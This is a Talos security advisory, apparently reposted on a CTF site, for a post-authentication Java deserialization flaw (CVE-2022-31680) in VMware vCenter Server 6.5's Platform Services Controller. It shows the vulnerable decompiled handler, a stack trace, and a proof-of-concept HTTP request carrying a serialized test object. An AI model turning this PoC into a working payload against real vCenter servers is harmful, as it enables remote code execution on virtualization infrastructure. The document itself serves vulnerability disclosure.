VMware vCenter Server Platform Services Controller Unsafe Deserialization vulnerability
CVE NUMBER
CVE-2022-31680
SUMMARY
An unsafe deserialization vulnerability exists in the Platform Services Controller functionality of VMware vCenter Server 6.5 Update 3t. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.
CONFIRMED VULNERABLE VERSIONS
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
VMware vCenter Server 6.5 Update 3t
PRODUCT URLS
vCenter Server – https://www.vmware.com/products/vcenter-server.html
CVSSV3 SCORE
8.7 – CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
CWE
CWE-502 – Deserialization of Untrusted Data
DETAILS
VMware vCenter Server is a platform that enables centralized control and monitoring over all virtual machines and EXSi hypervisors included in vSphere.
A post-authentication java deserialization vulnerability exists in the data
handler of the psc ( Platform Services Controller)
service. Let us take a look at the vulnerable part of the code. Going down to the implementation of /psc/data/constraint/{constraintBlob}/*
handler, we can see the following code:
getDataByConstraint
Line 1 @RequestMapping({"/constraint/{constraintBlob}"})
Line 2 @ResponseBody
Line 3 public Map<String, Object> getDataByConstraint(@PathVariable("constraintBlob") String serializedConstraintObject, @RequestParam(value = "properties", required = false) String paramString2) throws Exception {
Line 4 if (StringUtil.isNullOrWhitespace(serializedConstraintObject))
Line 5 return null;
Line 6 Constraint constraint = CommonUtils.deserializeConstaintFromBase64Str(serializedConstraintObject);
(...)
User is able to pass to this servlet serialized Constraint
object encoded additionally with Base64 as a part of the url line 6
. Looking into the implementation of deserializeConstaintFromBase64Str
we see the following code :
deserializeConstaintFromBase64Str
Line 41 public static Constraint deserializeConstaintFromBase64Str(String paramString) {
Line 42 Constraint constraint = null;
Line 43 byte[] arrayOfByte = Base64.decodeBase64(paramString);
Line 44 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
Line 45 try {
Line 46 JBossObjectInputStream jBossObjectInputStream = new JBossObjectInputStream(byteArrayInputStream);
Line 47 constraint = (Constraint)jBossObjectInputStream.readObject();
Line 48 StreamUtil.close((Closeable)jBossObjectInputStream);
Line 49 } catch (IOException iOException) {
Line 50 _logger.error("Was not able to create a JBossObjectInputStream");
Line 51 } catch (ClassNotFoundException classNotFoundException) {
Line 52 _logger.error("Was not able to deserialize Constraint object from JBossObjectInputStream");
Line 53 } finally {
Line 54 StreamUtil.close(byteArrayInputStream);
Line 55 }
Line 56 return constraint;
Line 57 }
As you might see, there is no filtration related with deserialized objects lines 43-46
. Developers don’t check at all what kind of object has been deserialized, then create an instance of it at line 47
. We can confirm an attempted instantiation of any class passed to this servlet by serializing and sending, for instance, a simple custom class called Employee
. In psc
logs we can then observe the following error :
java.lang.ClassNotFoundException: Employee
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1415)
at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1223)
at java.lang.Class.forName0(Native Method)
at java.lang.Class.forName(Class.java:348)
at org.jboss.serial.io.JBossObjectInputStream.resolveClass(JBossObjectInputStream.java:141)
at org.jboss.serial.io.JBossObjectInputStream$1.resolveClass(JBossObjectInputStream.java:127)
at org.jboss.serial.classmetamodel.ClassMetamodelFactory.resolveClassByName(ClassMetamodelFactory.java:266)
at org.jboss.serial.classmetamodel.ClassMetamodelFactory.getClassMetaData(ClassMetamodelFactory.java:289)
at org.jboss.serial.classmetamodel.StreamingClass.readStream(StreamingClass.java:72)
at org.jboss.serial.objectmetamodel.ObjectDescriptorFactory.readObjectDescriptionFromStreaming(ObjectDescriptorFactory.java:381)
at org.jboss.serial.objectmetamodel.ObjectDescriptorFactory.objectFromDescription(ObjectDescriptorFactory.java:82)
at org.jboss.serial.objectmetamodel.DataContainer$DataContainerDirectInput.readObject(DataContainer.java:643)
at org.jboss.serial.io.JBossObjectInputStream.readObjectOverride(JBossObjectInputStream.java:163)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:492)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
at com.vmware.vise.mvc.util.CommonUtils.deserializeConstaintFromBase64Str(CommonUtils.java:68)
at com.vmware.vise.mvc.controllers.DataAccessController.getDataByConstraint(DataAccessController.java:142)
(...)
Such an approach to data deserialization is very dangerous and might allow an attacker to execute an arbitrary command.
Exploit Proof of Concept
REQ
GET /psc/data/constraint/amJzMXszAAAAATMAAAACAAAIRW1wbG95ZWUAASL6C7Hsp5eXAAKXEjO-44rgaCk1FZKH_mF7AQQAAAADAAAGTWFyY2luAAB6aQ HTTP/1.1
Host: 192.168.0.109
Cookie: JSESSIONID=D8E403940B6B595FF53158ED63671A69; XSRF-TOKEN=b28efbac-6d3c-4fcb-b177-baee9c1e005e; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; VSPHERE-CLIENT-SESSION-INDEX=_87577cc1f7ac5bba20fe8d947d9ffcfe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/plain, */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Pragma: no-cache
Isangularrequest: true
X-Xsrf-Token: b28efbac-6d3c-4fcb-b177-baee9c1e005e
Referer: https://192.168.0.109/psc/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
TIMELINE
2022-08-09 – Vendor Disclosure
2022-10-06 – Vendor Patch Release
2022-10-10 – Public Release
CREDIT
Discovered by Marcin ‘Icewall’ Noga of Cisco Talos.
转载请注明:VMware vCenter Server Platform Services Controller Unsafe Deserialization vulnerability | CTF导航